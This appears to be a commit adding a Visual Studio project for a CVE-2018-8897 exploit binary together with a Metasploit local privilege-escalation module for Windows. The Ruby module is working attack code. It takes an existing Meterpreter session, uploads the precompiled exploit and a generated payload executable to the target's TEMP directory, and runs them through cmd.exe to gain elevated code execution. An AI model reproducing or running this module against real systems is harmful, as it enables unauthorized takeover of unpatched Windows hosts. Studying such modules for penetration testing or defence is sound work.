# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2018-8897-exe", "cve-2018-8897-exe.vcxproj", "{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.ActiveCfg = Debug|Win32
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.Build.0 = Debug|Win32
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.ActiveCfg = Release|x64
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,160 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Error.h" />
<ClInclude Include="KernelRoutines.h" />
<ClInclude Include="LockedMemory.h" />
<ClInclude Include="Native.h" />
<ClInclude Include="NtDefines.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2018-8897-exe.cpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="Native.asm" />
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>cve20188897exe</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,44 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="KernelRoutines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="LockedMemory.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Native.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NtDefines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Error.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2018-8897-exe.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="Native.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>

View File

@ -0,0 +1,174 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
'Description' => %q{
This module exploits a vulnerability in a statement in the system programming guide
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
in various operating system kerneles, resulting in unexpected behavior for #DB
excpetions that are deferred by MOV SS or POP SS.
This module will upload the pre-compiled exploit and use it to execute the final
payload in order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nick Peterson', # Original discovery (@nickeverdox)
'Nemanja Mulasmajic', # Original discovery (@0xNemi)
'Can Bölük <can1357>', # PoC
'bwatters-r7' # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 08 2018',
'References' =>
[
['CVE', '2018-8897'],
['EDB', '44697'],
['BID', '104071'],
['URL', 'https://github.com/can1357/CVE-2018-8897/'],
['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'False'
}
))
register_options([
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('PATH',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptInt.new('EXECUTE_DELAY',
[false, 'The number of seconds to delay before executing the exploit', 3])
])
end
def setup
super
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@payload_path = "#{temp_path}\\#{payload_name}"
@exploit_path = "#{temp_path}\\#{exploit_name}"
@payload_exe = generate_payload_exe
end
def validate_active_host
begin
host = session.session_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_remote_path(path)
unless directory?(path)
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
end
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end
def ensure_clean_destination(path)
if file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end
def ensure_clean_exploit_destination
ensure_clean_destination(exploit_path)
end
def ensure_clean_payload_destination
ensure_clean_destination(payload_path)
end
def upload_exploit
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
upload_file(exploit_path, local_exploit_path)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
end
def upload_payload
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
end
def execute_exploit
sleep(datastore['EXECUTE_DELAY'])
print_status("Running exploit #{exploit_path} with payload #{payload_path}")
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
vprint_status(output)
end
def exploit
begin
validate_active_host
validate_target
validate_remote_path(temp_path)
ensure_clean_exploit_destination
ensure_clean_payload_destination
upload_exploit
upload_payload
execute_exploit
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error(e.message)
ensure_clean_exploit_destination
ensure_clean_payload_destination
end
end
attr_reader :exploit_name
attr_reader :payload_name
attr_reader :payload_exe
attr_reader :temp_path
attr_reader :payload_path
attr_reader :exploit_path
end